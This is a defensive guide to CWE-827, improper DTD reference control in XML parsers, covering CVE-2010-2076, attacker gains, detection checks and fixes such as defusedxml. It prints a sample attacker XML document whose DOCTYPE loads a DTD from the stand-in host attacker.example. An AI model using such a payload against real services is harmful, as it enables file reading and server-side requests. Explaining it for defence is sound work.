CWE-827 applies when a product does not restrict a reference to a Document Type Definition to its intended control sphere. An attacker can then reference an arbitrary DTD. MITRE lists the XML platform.
If your service parses XML from outside, such as SOAP messages, uploaded documents or feeds, it is in scope.
How it happens
As a DTD is processed, the parser may try to read or include files on the machine doing the parsing. If an attacker controls the DTD, they can name sensitive resources or requests. MITRE notes that the SOAP specification prohibits SOAP messages from containing DTDs, so accepting them there is a sign of trouble.
MITRE's example is CVE-2010-2076: a product did not properly reject DTDs in SOAP messages, which allowed remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.
<!-- Attacker supplied document -->
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://attacker.example/evil.dtd">
<data>hello</data>
What an attacker gains
- File access. A crafted DTD with a default entity resolver can read arbitrary files.
- Resource exhaustion. Nested or recursive entity references can consume excessive CPU or memory.
- Requests on the server's behalf. The DTD can include HTTP requests the server executes, which can lead to other attacks that use the server's trust relationships.
How to find it
The record lists no detection methods. Practical checks: send a document with a DOCTYPE declaration to every XML entry point and watch whether the parser fetches anything or errors differently. Review parser configuration in code for settings that allow DTDs or external entities. A dynamic scan of your web application can probe this too.
How to fix it
The record has no formal mitigations. Standard practice is:
- Disable DTD processing in the parser unless you truly need it.
- If you must allow DTDs, disable external entity and external DTD resolution.
- Set limits on entity expansion and document size.
- Reject documents with a DOCTYPE where the protocol forbids it, as SOAP does.
- Keep parser libraries updated.
# Python, using defusedxml, which rejects DTD tricks
import defusedxml.ElementTree as ET
tree = ET.fromstring(untrusted_xml)
Quick check
Why is a DTD dangerous if the XML is just data?
Because the parser acts on the DTD while reading. It may load files or make network requests before your code ever sees the data.
